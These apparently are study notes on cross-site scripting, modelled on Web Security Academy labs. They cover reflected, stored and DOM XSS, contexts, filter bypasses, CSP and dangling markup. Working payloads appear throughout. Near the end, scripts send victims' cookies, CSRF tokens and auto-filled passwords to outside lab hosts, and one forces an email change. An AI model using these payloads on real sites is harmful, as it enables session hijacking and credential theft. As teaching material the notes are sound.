Cross-site Scripting

Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application.

How does XSS work?

Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript to users.

What are the types of XSS attacks?

- Reflected XSS, where the malicious script comes from the current HTTP request.
- Stored XSS, where the malicious script comes from the website's database.
- DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.

Reflected cross-site scripting

Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

Stored cross-site scripting

Stored XSS arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

DOM-Based cross-site scripting

DOM-Based XSS arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.

What can XSS be used for?

- Impersonate or masquerade as the victim user.
- Carry out any action that the user is able to perform.
- Read any data that the user is able to access.
- Capture the user's login credentials.
- Perform virtual defacement of the web site.
- Inject trojan functionality into the web site.

Impact of XSS vulnerabilities

- In a brochureware application, where all users are anonymous and all information is public, the impact will often be minimal.
- In an application holding sensitive data, such as banking transactions, emails, or healthcare records, the impact will usually be serious
- If the compromised user has elevated privileges within the application, then the impact will generally be critical

Content security policy

Content security policy (CSP) is a browser mechanism that aims to mitigate the impact of cross-site scripting and some other vulnerabilities.CSP might hinder or prevent exploitation of the vulnerability.

Dangling markup injection

Dangling markup injection is a technique that can be used to capture data cross-domain in situations where a full cross-site scripting exploit is not possible, due to input filters or other defenses.

Reflected XSS

Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

Example :

a website has a search function which receives the user-supplied search term in a URL parameter:

```
https://insecure-website.com/search?term=gift                                    http
```

The application echoes the supplied search term in the response to this URL

```
<p>You searched for: gift</p>                                                    http
```

Assuming the application doesn't perform any other processing of the data, an attacker can construct an attack like this

```
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>  http
```

This URL results in the following response

```
<p>You searched for: <script>/* Bad stuff here... */</script></p>                http
```

Impact of reflected XSS attacks

If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

- Perform any action within the application that the user can perform.
- View any information that the user is able to view.
- Modify any information that the user is able to modify.
- Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

the impact of reflected XSS is generally less severe than stored XSS,

Reflected XSS in different contexts

The location of the reflected data within the application's response determines what type of payload is required to exploit it and might also affect the impact of the vulnerability.

if the application performs any validation or other processing on the submitted data before it is reflected, this will generally affect what kind of XSS payload is needed.

Finding and test for reflected XSS vulnerabilities

Testing for reflected XSS vulnerabilities manually involves the following steps:

Test every entry point : Test separately every entry point for data within the application's HTTP requests. This includes parameters or other data within the URL query string and message body, and the URL file path

Submit random alphanumeric values : For each entry point, submit a unique random value and determine whether the value is reflected in the response. The value should be designed to survive most input validation, so needs to be fairly short and contain only alphanumeric characters

Determine the reflection context : For each location within the response where the random value is reflected, determine its context.

Test a candidate payload : Based on the context of the reflection, test an initial candidate XSS payload that will trigger JavaScript execution if it is reflected unmodified within the response.

Test alternative payloads : If the candidate XSS payload was modified by the application, or blocked altogether, then you will need to test alternative payloads and techniques that might deliver a working XSS attack based on the context of the reflection and the type of input validation that is being performed.

Test the attack in a browser : Finally, if you succeed in finding a payload that appears to work within Burp Repeater, transfer the attack to a real browser (by pasting the URL into the address bar, or by modifying the request in Burp Proxy's intercept view, and see if the injected JavaScript is indeed executed.

Stored XSS

Stored cross-site scripting (also known as second-order or persistent XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

Example :

```http
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100

postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net
```

After this comment has been submitted, any user who visits the blog post will receive the following within the application's response:

```http
<p>This post was extremely helpful.</p>
```

Since this will run the malicous code for everyone user visiting the website it's an example of Stored XSS.

Impact of stored XSS attacks

If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. The attacker can carry out any of the actions that are applicable to the impact of reflected XSS vulnerabilities.

stored XSS vulnerability enables attacks that are self-contained within the application itself. The attacker does not need to find an external way of inducing other users to make a particular request containing their exploit.

Finding and test for stored XSS vulnerabilities

- Entry points into the application's processing include:
- Parameters or other data within the URL query string and message body
- URL file path
- HTTP request headers that might not be exploitable in relation to reflected XSS

DOM-based XSS

DOM-based XSS vulnerabilities usually arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes it to a sink that supports dynamic code execution, such as `eval()` or `innerHTML`. This enables attackers to execute malicious JavaScript, which typically allows them to hijack other users' accounts.

The most common source for DOM XSS is the URL, which is typically accessed with the `window.location` object. An attacker can construct a link to send a victim to a vulnerable page with a payload in the query string and fragment portions of the URL.

How to test for DOM-based cross-site scripting

To test for DOM-based cross-site scripting manually, you generally need to use a browser with developer tools, such as Chrome. You need to work through each available source in turn, and test each one individually.

Testing HTML sinks

To test for DOM XSS in an HTML sink, place a random alphanumeric string into the source (such as `location.search`), then use developer tools to inspect the HTML and find where your string appears.

For each location where your string appears within the DOM, you need to identify the context. Based on this context, you need to refine your input to see how it is processed.

Testing JavaScript execution sinks

your input doesn't necessarily appear anywhere within the DOM, so you can't search for it. Instead you'll need to use the JavaScript debugger to determine whether and how your input is sent to a sink.

In Chrome's developer tools, you can use `Control+Shift+F` (or `Command+Alt+F` on MacOS) to search all the page's JavaScript code for the source

Once you've found where the source is being read, you can use the JavaScript debugger to add a break point and follow how the source's value is used.

Testing for DOM XSS using DOM Invader

Identifying and exploiting DOM XSS in the wild can be a tedious process, often requiring you to manually trawl through complex, minified JavaScript. If you use Burp's browser, however, you can take advantage of its built-in DOM Invader extension, which does a lot of the hard work for you.

Exploiting DOM XSS with different sources and sinks

In principle, a website is vulnerable to DOM-based cross-site scripting if there is an executable path via which data can propagate from source to sink.

In practice, different sources and sinks have differing properties and behavior that can affect exploitability, and determine what techniques are necessary.

Example :

The `document.write` sink works with `script` elements, so you can use a simple payload, such as the one below:

```
document.write('... <script>alert(document.domain)</script> ...');                http
```

`document.write` includes some surrounding context that you need to take account of in your exploit.

The `innerHTML` sink doesn't accept `script` elements on any modern browser, nor will `svg onload` events fire. This means you will need to use alternative elements like `img` or `iframe`. Event handlers such as `onload` and `onerror` can be used in conjunction with these elements.

```
element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'             http
```

Sources and sinks in third-party dependencies

Modern web applications are typically built using a number of third-party libraries and frameworks, which often provide additional functions and capabilities for developers. It's important to remember that some of these are also potential sources and sinks for DOM XSS.

DOM XSS in jQuery

If a JavaScript library such as jQuery is being used, look out for sinks that can alter DOM elements on the page

If data is read from a user-controlled source like the URL, then passed to the `attr()` function, then it may be possible to manipulate the value sent to cause XSS.

Example :

```javascript
$(function() {
    $('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));
});
```

You can exploit this by modifying the URL so that the `location.search` source contains a malicious JavaScript URL. After the page's JavaScript applies this malicious URL to the back link's `href`, clicking on the back link will execute it:

=javascript:/*Place your JavaScript Code to Exploit the website :/ */

```javascript
?returnUrl=javascript:alert(document.domain)
```

Another potential sink to look out for is jQuery's `$()` selector function, which can be used to inject malicious objects into the DOM.

jQuery used to be extremely popular, and a classic DOM XSS vulnerability was caused by websites using this selector in conjunction with the `location.hash` source for animations or auto-scrolling to a particular element on the page. This behavior was often implemented using a vulnerable `hashchange` event handle

```javascript
$(window).on('hashchange', function() {
    var element = $(location.hash);
    element[0].scrollIntoView();
});
```

As the `hash` is user controllable, an attacker could use this to inject an XSS vector into the `$()` selector sink. More recent versions of jQuery have patched this particular vulnerability by preventing you from injecting HTML into a selector when the input begins with a **hash character (`#`).**

exploit this classic vulnerability, you'll need to find a way to trigger a `hashchange` event without user interaction. One of the simplest ways of doing this is to deliver your exploit via an `iframe`

```javascript
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">
```

DOM XSS in AngularJS

framework like AngularJS is used, it may be possible to execute JavaScript without angle brackets or events. When a site uses the `ng-app` attribute on an HTML element, it will be

processed by AngularJS. In this case, AngularJS will execute JavaScript inside double curly braces that can occur directly in HTML or inside attributes.

```javascript
{{$on.constructor('alert(1)')()}}
```

DOM XSS combined with reflected and stored data

In a reflected DOM XSS vulnerability, the server processes data from the request, and echoes the data into the response. The reflected data might be placed into a JavaScript string literal, or a data item within the DOM, such as a form field. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.

```javascript
eval('var data = "reflected string"');
```

Cross-site scripting contexts

- The location within the response where attacker-controllable data appears
- Any input validation or other processing that is being performed on that data by the application

XSS between HTML tags

When the XSS context is text between HTML tags, you need to introduce some new HTML tags designed to trigger execution of JavaScript.

```javascript
<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>
```

XSS in HTML tag attributes

When the XSS context is into an HTML tag attribute value, you might sometimes be able to terminate the attribute value, close the tag, and introduce a new one

```javascript
"><script>alert(document.domain)</script>
```

More commonly in this situation, angle brackets are blocked or encoded, so your input cannot break out of the tag in which it appears.

```javascript
" autofocus onfocus=alert(document.domain) x="
```

The above payload creates an `onfocus` event that will execute JavaScript when the element receives the focus, and also adds the `autofocus` attribute to try to trigger the

`onfocus` event automatically without any user interaction. Finally, it adds `x="` to gracefully repair the following markup.

```javascript
"onmouseover="alert('HAcker')"
```

Sometimes the XSS context is into a type of HTML tag attribute that itself can create a scriptable context. Here, you can execute JavaScript without needing to terminate the attribute value. For example, if the XSS context is into the `href` attribute of an anchor tag, you can use the `javascript` pseudo-protocol to execute script

```javascript
<a href="javascript:alert(document.domain)">
```

Note : sometimes a website url is mentioned inside a herf is vulnerable to javascript code execution.

You might encounter websites that encode angle brackets but still allow you to inject attributes. Sometimes, these injections are possible even within tags that don't usually fire events automatically, such as a canonical tag

Access keys allow you to provide keyboard shortcuts that reference a specific element. The `accesskey` attribute allows you to define a letter that, when pressed in combination with other keys (these vary across different platforms), will cause events to fire.

XSS into JavaScript

When the XSS context is some existing JavaScript within the response, a wide variety of situations can arise, with different techniques necessary to perform a successful exploit.

Terminating the existing script

In the simplest case, it is possible to simply close the script tag that is enclosing the existing JavaScript, and introduce some new HTML tags that will trigger execution of JavaScript.

```javascript
<script>
...
var input = 'controllable data here';
...
</script>
```

you can use the following payload to break out of the existing JavaScript and execute your own:

```javascript
</script><img src=1 onerror=alert(document.domain)>
```

The above payload leaves the original script broken, with an unterminated string literal.

Breaking out of a JavaScript string

In cases where the XSS context is inside a quoted string literal, it is often possible to break out of the string and execute JavaScript directly. It is essential to repair the script following the XSS context,

```javascript
'-alert(document.domain)-'
';alert(document.domain)//
```

Some applications attempt to prevent input from breaking out of the JavaScript string by escaping any single quote characters with a backslash. A backslash before a character tells the JavaScript parser that the character should be interpreted literally, and not as a special character such as a string terminator

For example, suppose that the input:

`';alert(document.domain)//`

gets converted to:

`\';alert(document.domain)//`

You can now use the alternative payload:

`\';alert(document.domain)//`

which gets converted to:

`\\';alert(document.domain)//`

Some websites make XSS more difficult by restricting which characters you are allowed to use. This can be on the website level or by deploying a WAF that prevents your requests from ever reaching the website. In these situations, you need to experiment with other ways of calling functions which bypass these security measures. One way of doing this is to use the `throw` statement with an exception handler. This enables you to pass arguments to a function without using parentheses. The following code assigns the `alert()` function to the global exception handler and the `throw` statement passes the `1` to the exception handler (in this case `alert`). The end result is that the `alert()` function is called with `1` as an argument.

```javascript
onerror=alert;throw 1
```

Making use of HTML-encoding

When the XSS context is some existing JavaScript within a quoted tag attribute, such as an event handler, it is possible to make use of HTML-encoding to work around some input filters.

When the browser has parsed out the HTML tags and attributes within a response, it will perform HTML-decoding of tag attribute values before they are processed any further. If the server-side application blocks or sanitizes certain characters that are needed for a successful XSS exploit, you can often bypass the input validation by HTML-encoding those characters.

application blocks or escapes single quote characters, you can use the following payload to break out of the JavaScript string and execute your own script:

```javascript
&apos;-alert(document.domain)-&apos;
```

XSS in JavaScript template literals

JavaScript template literals are string literals that allow embedded JavaScript expressions. The embedded expressions are evaluated and are normally concatenated into the surrounding text. Template literals are encapsulated in backticks instead of normal quotation marks, and embedded expressions are identified using the `${...}` syntax.

```javascript
document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;
```

XSS via client-side template injection

Some websites use a client-side template framework, such as AngularJS, to dynamically render web pages. If they embed user input into these templates in an unsafe manner, an attacker may be able to inject their own malicious template expressions that launch an XSS attack.

Exploiting cross-site scripting vulnerabilities

The traditional way to prove that you've found a cross-site scripting vulnerability is to create a popup using the `alert()` function. This isn't because XSS has anything to do with popups; it's simply a way to prove that you can execute arbitrary JavaScript on a given domain.

Exploiting cross-site scripting to steal cookies

Stealing cookies is a traditional way to exploit XSS. Most web applications use cookies for session handling. You can exploit cross-site scripting vulnerabilities to send the victim's cookies to your own domain, then manually inject the cookies into the browser and impersonate the victim.

this approach has some significant limitations:

- The victim might not be logged in.

- Many applications hide their cookies from JavaScript using the `HttpOnly` flag.
- Sessions might be locked to additional factors like the user's IP address.
- The session might time out before you're able to hijack it.

```javascript
<script>
window.onload = function(e) {
    var csrf = document.getElementsByName("csrf")[0].value;
    console.log(csrf);
    fetch('https://ac6b1f801e21e609805034f000bf00b3.web-security-academy.net/post/comment', {
        method: 'POST',
        body: 'csrf=' + csrf + '&postId=1&comment=Cookie: ' + document.cookie + '&name=Jan&email=admin%40cmdnctrl.net&website='
    });
};
</script>
```

Exploiting cross-site scripting to capture passwords

These days, many users have password managers that auto-fill their passwords. You can take advantage of this by creating a password input, reading out the auto-filled password, and sending it to your own domain.

The primary disadvantage of this technique is that it only works on users who have a password manager that performs password auto-fill.

```javascript
<form><input type="text" id="username" name="username"></form>
<form><input type="password" id="password" name="password"></form>
<script>
window.onload = function(e) {
    setTimeout(function() {
        var csrf = document.getElementsByName("csrf")[0].value;
        var username = document.getElementById("username").value;
        var passw = document.getElementById("password").value;
        console.log(csrf);
        fetch('https://ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net/post/comment', {
            method: 'POST',
            body: 'csrf=' + csrf + '&postId=3&comment=Username: ' + username + ', Password: ' + passw + '&name=Jan&email=admin%40cmdnctrl.net&website='
        });
    }, 2500);
};
</script>
```

Exploiting cross-site scripting to perform CSRF

Anything a legitimate user can do on a web site, you can probably do too with XSS. Depending on the site you're targeting, you might be able to make a victim send a message, accept a friend request, commit a backdoor to a source code repository, or transfer some Bitcoin.

```javascript
<script>
window.onload = function(e) {
    var csrf = document.getElementsByName("csrf")[0].value;
    console.log(csrf);
    fetch('https://ac8e1fe31e1017ee80982bb700310061.web-security-academy.net/email/chan
ge', {
        method: 'POST',
        body: 'csrf=' + csrf + '&email=john@wick.com'
    });
};
</script>
```

Dangling markup injection

Dangling markup injection is a technique for capturing data cross-domain in situations where a full cross-site scripting attack isn't possible

Suppose an application embeds attacker-controllable data into its responses in an unsafe way

```http
<input type="text" name="input" value="CONTROLLABLE DATA HERE
```

Suppose also that the application does not filter or escape the `>` or `"` characters. An attacker can use the following syntax to break out of the quoted attribute value and the enclosing tag,

The consequence of the attack is that the attacker can capture part of the application's response following the injection point, which might contain sensitive data. Depending on the application's functionality, this might include CSRF tokens, email messages, or financial data.

How to prevent dangling markup attacks

You can prevent dangling markup attacks using the same general defenses for preventing cross-site scripting, by encoding data on output and validating input on arrival

Content security policy

CSP is a browser security mechanism that aims to mitigate XSS and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and

restricting whether a page can be framed by other pages.

To enable CSP, a response needs to include an HTTP response header called `Content-Security-Policy` with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons

Mitigating XSS attacks using CSP

The following directive will only allow scripts to be loaded from a specific domain:

```javascript
script-src https://scripts.normal-website.com
```

- The CSP directive can specify a nonce (a random value) and the same value must be used in the tag that loads a script. If the values do not match, then the script will not execute. To be effective as a control, the nonce must be securely generated on each page load and not be guessable by an attacker.
- The CSP directive can specify a hash of the contents of the trusted script. If the hash of the actual script does not match the value specified in the directive, then the script will not execute. If the content of the script ever changes, then you will of course need to update the hash value that is specified in the directive.

It's quite common for a CSP to block resources like `script`. However, many CSPs do allow image requests. This means you can often use `img` elements to make requests to external servers in order to disclose CSRF tokens,

Mitigating dangling markup attacks using CSP

The following directive will only allow images to be loaded from the same origin as the page itself:

```http
img-src 'self'
```

The following directive will only allow images to be loaded from a specific domain:

```http
img-src https://images.normal-website.com
```

because an easy way to capture data with no user interaction is using an `img` tag. However, it will not prevent other exploits, such as those that inject an anchor tag with a dangling `href` attribute.

Bypassing CSP with policy injection

You may encounter a website that reflects input into the actual policy, most likely in a `report-uri` directive. If the site reflects a parameter that you can control, you can inject a

semicolon to add your own CSP directives.

Usually, this `report-uri` directive is the final one in the list. This means you will need to overwrite existing directives in order to exploit this vulnerability and bypass the policy.

, it's not possible to overwrite an existing `script-src` directive. However, Chrome recently introduced the `script-src-elem` directive, which allows you to control `script` elements, but not events. Crucially, this new directive allows you to overwrite existing `script-src` directives. Using this knowledge, you should be able to solve the following lab.

Protecting against clickjacking using CSP

Using content security policy to prevent clickjacking is more flexible than using the X-Frame-Options header because you can specify multiple domains and use wildcards

```
frame-ancestors 'self' https://normal-website.com https://*.robust-website.com     http
```

CSP also validates each frame in the parent frame hierarchy, whereas `X-Frame-Options` only validates the top-level frame.